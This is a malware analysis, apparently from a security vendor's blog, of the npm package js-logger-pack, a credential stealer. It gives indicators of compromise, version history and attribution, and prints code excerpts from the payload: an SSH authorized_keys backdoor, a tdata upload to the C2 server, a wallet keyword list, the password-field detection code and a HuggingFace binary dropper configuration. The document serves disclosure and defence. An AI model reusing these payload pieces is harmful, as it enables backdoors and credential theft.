Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer
Table of Contents
TL;DR
js-logger-pack is a fake npm logger that the attacker has developed openly on the registry across 29 versions over three weeks (2026-04-01 to 2026-04-20, still active). Version 1.1.20, published hours after initial detection, is a re-obfuscation of the same payload: new hash, same C2, same capabilities. Early versions were harmless probes; version 1.1.5 introduced the first weaponized payload with unobfuscated TypeScript source that accidentally leaked the attacker’s SSH RSA public key (bink@DESKTOP-N8JGD6T) and their original C2 domain (api-sub.jrodacooker[.]dev). Subsequent versions replaced the readable source with a 885 KB custom base64 bytecode VM and swapped the domain for a raw Hetzner IP. The payload is a long-running WebSocket agent that: installs the attacker’s RSA key into ~/.ssh/authorized_keys on Linux; exfiltrates Telegram Desktop tdata sessions; drains credentials from 27 crypto wallets and Chromium-family browsers; steals .npmrc, cloud provider tokens, and shell history; and runs a native keylogger on Windows, macOS, and Linux with autostart persistence on all three.
Impact:
- SSH backdoor on Linux: attacker’s RSA public key written to
~/.ssh/authorized_keys, granting permanent shell access. - Full Telegram Desktop account takeover via
tdatafolder exfiltration compressed and uploaded to attacker-controlled Cloudflare R2 storage. - Crypto wallet drain: 27 wallet apps and browser extensions enumerated by name (phantom, metamask, rabby, keplr, solflare, backpack, coinbase, trust, exodus, tronlink, okx, zerion, rainbow, unisat, petra, ronin, nami, ledger, trezor, electrum, atomic, braavos, argent, leap, hashpack, sui, xdefi).
- Developer credential theft:
.npmrc_authToken,github_token,npm_token, AWS sigv4 keys, plusOPENAI,ANTHROPIC, and other env-var tokens exfiltrated from the project’s.envfile at install time. - Filesystem scan for wallet-named JSON files,
.envfiles, and keyword-matched Office documents sent to C2. - Live keylogger on all three OSes streamed via WebSocket.
- Persistence across reboots: Windows Scheduled Tasks, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart.
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | js-logger-pack (npm) |
| Malicious versions | 0.0.1 through 1.1.26 (29 releases, 2026-04-01 to 2026-04-20, still active); v1.1.22+ pivot to HuggingFace binary dropper |
| Total downloads | 3,726 (April 1-13, 2026; zero prior to campaign) |
| Maintainer | jpeek868 <jpeek868@gmail.com> (single package on account) |
| Declared author | toskypi (mismatches publishing account) |
| C2 domain (v1.1.5-1.1.6) | hxxps://api-sub.jrodacooker[.]dev |
| C2 IP (v1.1.7+) | 195[.]201[.]194[.]107:8010 (ws:// and http://), Hetzner Online GmbH, DE, AS24940 |
| C2 status (2026-04-15) | LIVE: /health responds {"ok":true}, panel accepting connections |
| Secondary hostname on C2 IP | copilot-ai.whisdev[.]org (Shodan, DNS now NXDOMAIN; suggests additional operations) |
| C2 backend | Express.js (X-Powered-By: Express); victim data keyed as user_{username}_{operatingSystem} (leaked in /api/validate/system-info response body) |
| DNS resolution | api-sub.jrodacooker[.]dev → 195[.]201[.]194[.]107 (subdomain DNS since removed) |
| Attacker SSH public key | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ... bink@DESKTOP-N8JGD6T (full key in v1.1.5 logger.ts) |
| Attacker hostname | bink@DESKTOP-N8JGD6T (Windows hostname embedded in SSH key comment) |
| Exfil paths | /api/validate/files, /api/validate/project-env, /api/validate/env-vars, /api/validate/ps-history, /api/validate/wallets, /api/validate/system-info, /api/validate/tdata/upload, /api/validate/r2-upload-complete, /api/validate/keyboard-events |
| SSH authorized_keys target | ~/.ssh/authorized_keys (Linux, created with mode 0600 if missing) |
SHA-256 (js-logger-pack-1.1.18.tgz) | a49eee6b6db9da14db46587b68bf1d8a80976812f629bf3e100ac6ba83cf8490 |
SHA-256 (print.js v1.1.18) | 6ce3b22b07fd5aef1dd77237334d80718601e4e02a706485572d3dda8993a4e3 |
SHA-256 (js-logger-pack-1.1.19.tgz) | 571533a643e67c38087f4da8cce0d3dc14670a52403717e4943433d392860a7f |
SHA-256 (print.js v1.1.19) | 585c5ab1fea06bed4956e34ffd6d6b576122addd34d252b163ae0801098e9eaf |
SHA-256 (js-logger-pack-1.1.20.tgz) | 9f0a7174f9537bdbf63fe2329cea9a14198076180390af9f43a0e5b5c7c46912 |
SHA-256 (print.js v1.1.20) | e35801137cd09fa02aa996145d18ec68d67d71db9810f2608a6285ee1c08b054 |
SHA-256 (js-logger-pack-1.1.22.tgz) | df45bbac7695f0edad3edde36904f2722f2af761887744a2f1d65df705d28dc6 (first HuggingFace dropper version) |
SHA-256 (js-logger-pack-1.1.25.tgz) | 43c93c609d48b6cb4f1275c285b5e6960ef74e7f5811b442e3c1038d49128d73 |
SHA-256 (js-logger-pack-1.1.26.tgz) | dbbc31c641c2f1b9a867e745c30dda27dff2db7d91f9faddcf08a504ca2a9d11 (latest as of 2026-04-20) |
| HuggingFace binary host (v1.1.22+) | hxxps://huggingface[.]co/Lordplay/system-releases/resolve/main (attacker-controlled model repo serving MicrosoftSystem64 executables) |
| Dropped binary name | MicrosoftSystem64 (-win.exe, -linux, -darwin-x64, -darwin-arm64) |
Analysis
Package Overview and Origin
js-logger-pack presents a convincing cover. The README describes a zero-dependency console logger with ISO timestamps and emoji level icons. The published index.ts is a real, working Logger class and dist/index.js is its transpiled output. Nothing in the TypeScript source touches the network or the filesystem: the logger exists as bait for reviewers and automated scanners.
One detail dates the operation: the 0.0.1 README references import { logger } from 'pretty-changelog-logger', the original name the author had for this utility before registering the js-logger-pack slug. That copy-paste residue is the only link to what the package was before the attacker weaponized it.
The repository and homepage fields in package.json are both null. The declared author field reads toskypi, but the npm registry lists the publishing maintainer as jpeek868 <jpeek868@gmail.com>. Searching npm for other packages by either name returns nothing; this is a purpose-built throwaway account. All 22 versions share the same gitHead hash (b0a0c8779961bcce1851d35125a7b48fc6ec7d5c); every publish came from the same local git clone. No GitHub account exists for jpeek868 or toskypi. The package accumulated 3,726 downloads between April 1 and 13, with spikes on each day a new malicious version was released.
Version Evolution: From Probe to Weapon
The registry timestamps show iterative development conducted live on npm:
| Version | Date (UTC) | Size | postinstall | Notable change |
|---|---|---|---|---|
0.0.1 | 2026-04-01 06:17 | 1.6 KB | ts-node index.js (errors harmlessly) | Initial probe; README references old package name |
1.0.0 | 2026-04-01 06:29 | 1.6 KB | ts-node index.js | No change |
1.1.0 | 2026-04-01 07:01 | 29 KB | ts-node index.ts | Compiled dist/index.js added |
1.1.2 | 2026-04-01 07:05 | 29 KB | ts-node dist/index.js | postinstall target adjusted |
1.1.4 | 2026-04-02 11:32 | 29 KB | ts-node dist/index.js | C2 deps added: ws, zod, pino, esbuild; postinstall still harmless |
1.1.5 | 2026-04-02 15:53 | 601 KB | node print.js | First weaponized build. print.js (601 KB) and unobfuscated logger.ts (19 KB, full source) appear |
1.1.6 | 2026-04-02 17:51 | 730 KB | node print.js | print.js grows 21%; logger.ts still included (source still leaked) |
1.1.7 | 2026-04-02 17:59 | 756 KB | node print.js | logger.ts removed; full obfuscation in print.js |
1.1.8 | 2026-04-07 00:06 | 742 KB | node print.js | Minor size change |
1.1.9 | 2026-04-07 07:22 | 769 KB | node print.js | logger.ts reappears (identical 19 KB file); build pipeline inconsistency |
1.1.10 | 2026-04-07 09:04 | 808 KB | node print.js | logger.ts permanently removed; payload growing |
1.1.14 | 2026-04-08 06:59 | 786 KB | node print.js | C2 domain replaced with raw IP in VM |
1.1.17 | 2026-04-13 20:44 | 831 KB | node print.js | Final feature additions |
1.1.18 | 2026-04-14 07:42 | 848 KB | node print.js | UIAutomation password detection: adds System.Reflection.Assembly.Load("UIAutomationClient") fallback in PwdChk to detect password fields in Electron-based wallet apps |
1.1.19 | 2026-04-14 19:27 | 893 KB | node print.js | Last feature version before initial disclosure |
1.1.20 | 2026-04-15 03:09 | 865 KB | node print.js | Re-obfuscation only: identical C2, endpoints, and capabilities; new hash only |
1.1.21 | 2026-04-15 16:01 | 887 KB | node print.js | Same WebSocket stealer payload; published hours after disclosure |
1.1.22 | 2026-04-15 20:11 | 950 KB | node print.js | Major pivot: WebSocket stealer replaced by HuggingFace binary dropper; bundles @huggingface/hub to download MicrosoftSystem64 executables |
1.1.23 | 2026-04-15 20:13 | 950 KB | node print.js | Minor change to 1.1.22 dropper |
1.1.24 | 2026-04-17 18:36 | ~1 MB | node print.js | Larger dropper variant; same HuggingFace host |
1.1.25 | 2026-04-20 03:36 | 104 KB | node print.js | Stripped dropper; same HuggingFace host; 'use strict' CJS module |
1.1.26 | 2026-04-20 04:01 | 128 KB | node print.cjs | Obfuscator change: switches from bytecode VM to _0x-style hex variable obfuscator; postinstall renamed to print.cjs |
The print.js payload grew from 601 KB to 893 KB over 12 days of active feature development before initial disclosure on April 15. The attacker continued publishing after detection, releasing six additional versions (v1.1.21 through v1.1.26) through April 20. Version 1.1.20, published hours after this package was first flagged, is a re-obfuscation of v1.1.19: every URL, API path, wallet name, and OS-native code string is identical; only the internal random identifiers (variable names generated by the obfuscator) differ. The resulting file has a different SHA-256 but is the same payload. This is a signature-evasion pattern: re-run the bundler with a new random seed to defeat hash-based detections without changing any functionality.
Version 1.1.22, published the same day as disclosure, replaced the 885 KB self-contained WebSocket stealer with a binary dropper that fetches MicrosoftSystem64 executables from a HuggingFace model repository. The logger.ts source file flickered in and out of the package across three early versions; the author kept forgetting to exclude it from the build manifest.
Execution Triggers
In later versions (v1.1.7+), the only trigger is the postinstall hook:
// package/package.json (v1.1.19)"scripts": { "build": "tsc", "prepublishOnly": "npm run build", "start": "ts-node index.ts", "postinstall": "node print.js"}print.js is a standalone esbuild bundle (the esbuild dep in package.json confirms this): it packages the malicious source together with its C2 dependencies (ws, zod, etc.) into a single 885 KB self-contained file that node can run without any additional installs. The bundle fires once at install time.
In v1.1.5 and v1.1.6, however, the package carried a second, independent trigger. dist/index.js (the file users require()) begins with:
// package/dist/index.js (v1.1.5)require('./logger');And index.ts mirrors this:
// package/index.ts (v1.1.5)import './logger';logger.ts runs its malicious code as module-level side effects (the _ssi, _spe, and _sejf calls at the bottom of the file execute immediately when the module is loaded). This means that in v1.1.5 and v1.1.6 any application that did require('js-logger-pack') or import 'js-logger-pack' triggered the stealer at runtime, not only at install time. The attacker removed logger.ts and this second vector from v1.1.7 onward, consolidating on the postinstall hook.
The Unobfuscated Source Leak (v1.1.5 and v1.1.6)
Versions 1.1.5 and v1.1.6 shipped logger.ts alongside print.js. The two files implement the same malicious capabilities: logger.ts is the readable TypeScript source; print.js is the esbuild-bundled, obfuscated standalone executable built from the same (or very similar) source project and its dependencies. The 534-line logger.ts gives a complete, readable description of every capability the larger print.js bundle conceals.
Two constants at the top of the file are the key attribution artifacts:
// package/logger.ts (v1.1.5)const _pk = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoWL6cdPRGfsMFi1ggFUOP+IhhypmrzNe555fKLTvdI09y+cvUjrtpPfe5TkChr/IbIQIZeGefpAtcqiw6BDfJ+d+gflMEu6uGbCecikAtf794apEkDFpyzYpqrPmHBFhLdBtbXMx3bNfexKR8wnJAYTe5of+TvZ97h9QY8d9zHP31KddDnw3MaXYVZiwr0xBsUEk2jti5C4MsN/uUtUxrmcO5jfoThj/GLDOppQg7IK5QiHvOr89nTO9tFqADLT7gAn... bink@DESKTOP-N8JGD6T`;const _srv = 'https://api-sub.jrodacooker.dev';const _tmax = 500 * 1024 * 1024;_pk is the attacker’s RSA public key. The comment field bink@DESKTOP-N8JGD6T is the username and hostname of the machine the attacker used to generate the key. _srv is the C2 server at the time of first deployment. A DNS lookup today confirms that api-sub.jrodacooker[.]dev resolves to 195.201.194.107, the same Hetzner IP embedded in the later obfuscated versions. The attacker switched from domain to raw IP somewhere around v1.1.7, likely after the domain was flagged or to reduce external DNS dependencies.
SSH Backdoor (Linux)
The first capability that executes on Linux machines is an SSH backdoor, called before any file scanning or credential exfil:
// package/logger.ts (v1.1.5)export const _ark = async (_key: string): Promise<boolean> => { try { const _hd = os.homedir(); const _sd = path.join(_hd, '.ssh'); const _akp = path.join(_sd, 'authorized_keys'); if (!fs.existsSync(_sd)) { fs.mkdirSync(_sd, { recursive: true }); } fs.chmodSync(_sd, 0o700); let _ek = ''; if (fs.existsSync(_akp)) { _ek = fs.readFileSync(_akp, 'utf8'); } const _kp = _key.trim().split(' '); const _kd = _kp.length >= 2 ? _kp[0] + ' ' + _kp[1] : _key.trim(); if (_ek.includes(_kd)) { return false; // already installed } const _nc = _ek ? (_ek.endsWith('\n') ? _ek : _ek + '\n') + _key.trim() + '\n' : _key.trim() + '\n'; fs.writeFileSync(_akp, _nc, 'utf8'); fs.chmodSync(_akp, 0o600); return true; } catch (_) { return false; }};The function is called as _ark(_pk) from the Linux branch of the main file-scanning entry point (_sejf), before the network exfil begins. It creates ~/.ssh/ with mode 0700 if it does not exist, checks whether the key is already present, and appends it with the correct 0600 permissions. The attacker can then SSH into any Linux machine that installed any version of this package, as long as the SSH daemon is running and ~/.ssh/authorized_keys is the configured auth method.
This capability was present from the first weaponized build (v1.1.5) and persists in the obfuscated payload, confirmed by registerLinuxSystemd and persistence strings in later versions.
File System Scanner
The plaintext source exposes a filesystem scanner (_sfr) that walks the home directory (Linux), C:\ through J:\ (Windows), or /Users/ (macOS) up to 10 levels deep, collecting three types of files:
// package/logger.ts (v1.1.5) — target classificationif (_fn === '.env' || _fn.endsWith('.env')) { _res.push({ path: _fp, type: 'env' });} else if (_fn.endsWith('.json') && _iwkj(_fn)) { _res.push({ path: _fp, type: 'json' });} else if (_iwrd(_fn)) { _res.push({ path: _fp, type: 'doc' });}The JSON filter (_iwkj) has an allow-list of 40+ common config filenames (package.json, tsconfig.json, vercel.json, etc.) that are excluded, and a keyword list that includes any JSON whose filename contains: key, wallet, password, credential, sol, eth, tron, bitcoin, btc, metamask, phantom, keystore, privatekey, mnemonic, seed, trezor, ledger, token, recovery, and others. JSON files with more than 100 lines are skipped entirely; qualifying files are read in full and sent to /api/validate/files. Office documents (.doc, .docx, .xls, .xlsx, .txt) are included if their filename matches the same keyword list, sent as base64.
Excluded directories include node_modules, build, dist, coverage, and several others, limiting the scan to source trees and user directories. The scanner skips symlinks.
The Bytecode VM (v1.1.7+)
From v1.1.7 onward, the entire payload moved into print.js, a custom base64 bytecode VM. The file opens with 28 repeated node:* imports aliased to random vm* identifiers, followed by thousands of base64-encoded instruction blobs:
// package/print.js (header, v1.1.19)import{createRequire as vmB}from'module'import vmD from'node:os'import{spawn}from'child_process'import{execFileSync}from'node:child_process'import{spawn as vmq,spawnSync}from'node:child_process'// ...const vmE_603276=(function(){let m=[ 'AQEIAQAEAAQIDnJlcXVpcmUIEnVuZGVmaW5lZBYEAAAEAQAABAAABAAEAQAApgPcAQBWaKYDZBAQ...', 'AQAIAQACAAwIDnJlcXVpcmUIEnVuZGVmaW5lZAgKUHJveHkEAAgGZ2V0BAIupgPcAQBWaKYDZOAB...', // thousands more blobsEach blob is a base64-encoded instruction stream for a hand-rolled stack machine defined below the constant array. The opcodes embed string literals (property names, identifiers, API paths) that are invisible to a plain grep of the source. Decoding the constant pool statically, without executing the file, recovers all the semantic strings used in the analysis below.
C2 Protocol
The agent is a persistent WebSocket client. Decoded strings show the full protocol:
ws://195.201.194.107:8010 (primary)http://195.201.194.107:8010 (bulk exfil fallback)AgentHelloSchema / AgentHeartbeatSchemaController acknowledged hello / hello_ackHEARTBEAT_MS / heartbeatTimer / scheduleReconnectThe implant connects to 195[.]201[.]194[.]107:8010, sends a Zod-validated AgentHello, waits for hello_ack, then maintains a heartbeat. The controller dispatches tasks (keylogging, wallet scan, tdata upload, file scan) over the WebSocket channel. Bulk data goes over HTTP on the same host via the /api/validate/* endpoints rather than the WebSocket frame size limit.
Telegram Session Hijacking
The _stia / sendTdataIfAvailable function chain runs on macOS and Windows only (the function returns immediately on Linux). It locates the Telegram Desktop tdata folder, archives it into a gzip stream with a custom header format (4-byte path length, path bytes, 4-byte content length, content bytes), and uploads it:
// package/logger.ts (v1.1.5)export const _stp = async (_gz: string, _os: string, _ip: string, _un: string): Promise<void> => { const _b = await fs.promises.readFile(_gz); const _r = await fetch(`${_srv}/api/validate/tdata/upload`, { method: 'POST', headers: { 'Content-Type': 'application/gzip', 'X-Client-OS': _os, 'X-Client-IP': _ip, 'X-Client-User': _un, }, body: _b, }); if (!_r.ok) throw new Error(`tdata upload failed: ${_r.status}`);};A pre-check (/api/validate/tdata/check) prevents re-upload if the server already has a session for this IP+username pair. The 500 MB cap (_tmax) prevents stalling on very large Telegram caches. Later obfuscated versions add an S3-compatible multipart path (/api/validate/r2-upload-complete) referencing Cloudflare R2, routing bulk loot outside the WebSocket channel.
Wallet and Browser Credential Theft
The implant carries an explicit wallet target list embedded in both the Windows and macOS native keylogger components. On Windows it appears as a C# static array inside a PowerShell Add-Type block (class KP); on macOS it appears as a Swift let constant:
// Decoded from print.js bytecode — Windows C# block (PowerShell Add-Type, class KP)private static readonly string[] _wk = { "phantom","metamask","rabby","keplr","solflare","backpack", "coinbase wallet","trust wallet","exodus","tronlink","okx wallet", "zerion","rainbow","unisat","petra","ronin","nami","ledger","trezor", "electrum","atomic","braavos","argent","leap wallet","hashpack", "sui wallet","xdefi"};// Decoded from print.js bytecode — macOS Swift blocklet walletKeywords = ["phantom","metamask","rabby","keplr","solflare","backpack", "coinbase wallet","trust wallet","exodus","tronlink","okx wallet","zerion", "rainbow","unisat","petra","ronin","nami","ledger","trezor","electrum", "atomic","braavos","argent","leap wallet","hashpack","sui wallet","xdefi"]On Windows, active-window title inspection uses GetForegroundWindow() + GetWindowText() to match the foreground window title against _wk; GetAsyncKeyState is the polling mechanism for keystroke capture, not the window detection. On macOS the Swift code uses the Accessibility API (kAXTitleAttribute via AXUIElement) to read the active window title and kAXSubroleAttribute to detect AXSecureTextField (password input); CGEventTap captures the keystrokes. When a wallet window or password field is detected on either platform, the implant enables targeted keylogging of password and seed-phrase prompts. Browser credential targets include Chrome, Chromium, Brave, Edge, Opera, and Opera GX (Login Data, Cookies, Local State).
Cross-Platform Keylogger
Keystroke capture uses OS-native APIs on each platform:
Windows: SetWindowsHookEx(13, …) // WH_KEYBOARD_LL low-level hook (class KH) GetAsyncKeyState(vk) // polling fallback if hook is blocked (class KP)macOS: CGEventTap (keyDown callback) // Swift, compiled and run via swiftc subprocessLinux: /dev/input/event* via evdev // direct device read, no X11 dependencyBoth Windows variants are PowerShell Add-Type blocks: the Node.js harness writes the C# source string to PowerShell’s stdin, which compiles and executes it in-process using the .NET runtime already present on the machine. This avoids dropping a compiled binary to disk. Events stream to /api/validate/keyboard-events over the WebSocket connection. The Windows polling fallback handles environments where EDR software blocks WH_KEYBOARD_LL. The Linux evdev reader reads raw kernel input events directly from /dev/input/event*, bypassing X11 and Wayland entirely so it captures keystrokes in terminal-only sessions.
Persistence
All three OSes get autostart entries so the agent survives reboots:
Windows: schtasks.exe /Create …macOS: ~/Library/LaunchAgents/<name>.plistLinux: ~/.config/systemd/user/<name>.service (Environment=HEARTBEAT_MS=…) ~/.config/autostart/<name>.desktop (X-GNOME-Autostart-enabled=true)The HEARTBEAT_MS environment variable is baked into the systemd unit, so the re-launched agent picks up the same polling interval as the original postinstall process. The XDG autostart entry covers desktop sessions that do not use systemd user units (e.g., some XFCE and LXDE setups).
v1.1.18: UIAutomation Password Field Detection
Version 1.1.18 (2026-04-14 07:42 UTC), published twelve hours before v1.1.19, adds a third detection path to the Windows password field check. The existing PwdChk method in class KP already used two Win32 mechanisms: sending the EM_GETPASSWORDCHAR message (0x00D2) to the focused window handle, and reading the ES_PASSWORD style flag (0x0020) via GetWindowLong. Neither works reliably against Electron-based desktop apps, which don’t expose classic Win32 edit control style bits to the accessibility layer.
v1.1.18 adds a third fallback using System.Reflection.Assembly.Load to load UIAutomationClient at runtime and query the AutomationElement.FocusedElement.Current.IsPassword property:
// Decoded from print.js bytecode — Windows C# class KP, PwdChk method (v1.1.18)private static void PwdChk(object s) { try { IntPtr fg = GetForegroundWindow(); // ... GUITHREADINFO setup omitted if (GetGUIThreadInfo(tid, ref gi) && gi.hwndFocus != IntPtr.Zero) { if (SendMessage(gi.hwndFocus, 0x00D2, IntPtr.Zero, IntPtr.Zero) != IntPtr.Zero) { _isPwd = true; return; } if ((GetWindowLong(gi.hwndFocus, -16) & 0x0020) != 0) { _isPwd = true; return; } } // NEW in v1.1.18: UIAutomation fallback try { var asm = System.Reflection.Assembly.Load("UIAutomationClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); if (asm != null) { var aeType = asm.GetType("System.Windows.Automation.AutomationElement"); var focused = aeType.GetProperty("FocusedElement").GetValue(null); if (focused != null) { var current = focused.GetType().GetProperty("Current").GetValue(focused); if ((bool)current.GetType().GetProperty("IsPassword").GetValue(current)) { _isPwd = true; return; } try { string eName = ((string)current.GetType().GetProperty("Name").GetValue(current) ?? "").ToLower(); string eHelp = ((string)current.GetType().GetProperty("HelpText").GetValue(current) ?? "").ToLower(); string combined = eName + " " + eHelp; foreach (var p in _pk) { if (combined.Contains(p)) { _isPwd = true; return; } } } catch {} } } } catch {} // ... title-based wallet keyword check follows }}The three detection paths cover different app frameworks:
SendMessage(EM_GETPASSWORDCHAR)andES_PASSWORDflag: classic Win32 text controls (most legacy apps)- UIAutomation
IsPassword: modern frameworks that implement the UI Automation provider model, including WPF, UWP, and Electron/Chromium via the built-in accessibility provider that Chromium exposes to the OS UIA layer - Keyword matching against
_pk(password, seed phrase, mnemonic, private key, etc.) in the element’sNameandHelpTextproperties: catches password-adjacent fields that are not markedIsPasswordbut are labelled as such
Loading UIAutomationClient via System.Reflection.Assembly.Load at runtime rather than a static reference keeps the assembly out of the compiled class’s import list, so static analysis tools scanning for UIAutomation won’t find it.
Every crypto wallet in the _wk target list (Phantom, MetaMask, Exodus, etc.) ships as an Electron app or browser extension. On Windows, UIAutomation is the only approach that detects password field focus in those apps reliably.
Post-Publication Pivot: HuggingFace Binary Dropper (v1.1.22+)
On the same day this package was first reported (April 15), the attacker published three versions in under five hours. v1.1.21 reused the WebSocket stealer unchanged. v1.1.22, published four hours later, replaced the self-contained npm payload with a binary dropper: instead of running the WebSocket agent directly, it fetches a standalone MicrosoftSystem64 binary from HuggingFace and launches it. By v1.1.25 the dropper configuration is plaintext in the source:
// package/print.js (v1.1.25, plaintext in source)var UNIT_STEM = 'MicrosoftSystem64';var BINARY_BASE_URL = 'https://huggingface.co/Lordplay/system-releases/resolve/main';var DOWNLOAD_MAP = { 'win32-x64': 'MicrosoftSystem64-win.exe', 'linux-x64': 'MicrosoftSystem64-linux', 'darwin-x64': 'MicrosoftSystem64-darwin-x64', 'darwin-arm64': 'MicrosoftSystem64-darwin-arm64',};The attacker named the binary MicrosoftSystem64 to blend with Windows system process names. The dropper stores it under the platform data directory, registers it for autostart using the same persistence mechanisms as the old npm payload (Windows Registry Run key via a VBScript wrapper, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart entry), then spawns it detached. The systemd unit passes Environment=SERVER_URL=<Hetzner C2 address> to the binary, so the same 195[.]201[.]194[.]107:8010 endpoint is still the operative C2, consumed by the dropped binary rather than by the npm package directly.
HuggingFace handles binary delivery (enterprise proxies don’t block it); the Hetzner server handles command and data. The attacker can also push a new binary to Lordplay/system-releases and every installed instance picks it up on the next agent restart, without publishing a new npm version.
We did not analyze the binaries further. Any system that ran v1.1.22 through v1.1.26 should be treated as having executed an unverified binary from an attacker-controlled source.
v1.1.26 (2026-04-20) switched the obfuscator from the custom base64 bytecode VM to a _0x-style hex variable obfuscator (the kind produced by tools like javascript-obfuscator) and renamed the postinstall entry point from print.js to print.cjs. The attacker rebuilt their toolchain after the bytecode VM format was documented in prior analysis.
Attribution
The leaked source, live C2 probe, and infrastructure cross-checks yield the following:
- Attacker hostname:
bink@DESKTOP-N8JGD6T. TheDESKTOP-N8JGD6Tsuffix is the default format Windows assigns to self-built machines. Thebinkusername is the operating handle used on the development machine. No prior threat intelligence ties this hostname to any known actor. - C2 domain:
api-sub.jrodacooker[.]dev. The parent domain returns NXDOMAIN; the subdomain DNS record has since been removed, but the Hetzner IP (195[.]201[.]194[.]107) remains active.jrodacooker[.]devappears purpose-registered for this operation with no prior public presence. - C2 still live: As of April 15 2026 (this article’s publication date), the panel at
195[.]201[.]194[.]107:8010is operational. A probe to/api/validate/system-inforeturned{"success":true,"collection":"user_researcher_linux"}, confirming victim data is keyed asuser_{username}_{operatingSystem}and has not been cleaned up. The response headerX-Powered-By: Expressidentifies the backend as Node.js/Express. - Secondary hostname: Shodan lists
copilot-ai.whisdev[.]orgas a hostname on the same IP. The subdomain DNS record is now NXDOMAIN. The server may host additional operations beyondjs-logger-pack, but we found no confirmed link to thejpeek868orbinkidentity. - Infrastructure: Single Hetzner server (Hetzner Online GmbH, DE, AS24940) running a custom WebSocket controller on
:8010and Cloudflare R2 for bulk storage. This is purpose-built tooling for a small-scale individual operator, not shared SaaS C2 infrastructure. - Operational security failures: Shipping unobfuscated source in two consecutive public npm releases, reintroducing it in v1.1.9 after removing it in v1.1.7, and hardcoding the development machine’s SSH key into the payload point to a solo operator working fast, not a disciplined team.
- Payload fingerprint: The multi-language payload (Node.js harness, C# compiled at runtime via PowerShell
Add-Typefor Windows hooks, Swift source compiled on the fly viaswiftcfor macOS event taps, Linux evdev via direct/dev/inputreads) and the 27-wallet target list match patterns seen in commodity stealer kits. Avoiding pre-compiled binaries in favor of just-in-time compilation reduces disk footprint and evades signature-based AV scanning at install time. Without controlled telemetry, we do not attribute to a named family.
Conclusion
js-logger-pack is a full-featured, multi-platform infostealer, now at v1.1.26 with 29 releases across three weeks and still active as of April 20, 2026. Within hours of initial disclosure on April 15, the attacker published v1.1.22, replacing the self-contained npm-level WebSocket agent with a binary dropper that fetches MicrosoftSystem64 executables from a HuggingFace repository. The Hetzner server at 195[.]201[.]194[.]107:8010 remains the operative C2, now consumed by the dropped binary rather than by the npm package directly.
The version range determines what ran on the machine: v0.0.1 through v1.1.21 carry the WebSocket stealer (Linux SSH backdoor, Telegram tdata exfil, 27-wallet keylogger); v1.1.22 through v1.1.26 drop an unverified binary named MicrosoftSystem64 from the attacker’s HuggingFace repository. Anyone who installed any version should treat the machine as compromised.
- vet
- malware
- npm
- supply-chain
- stealer
- crypto
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Bitwarden CLI Supply Chain Compromise
A technical writeup of the malicious `@bitwarden/cli@2026.4.0` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and...

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

Malicious Pull Requests: A Threat Model
A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1...

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
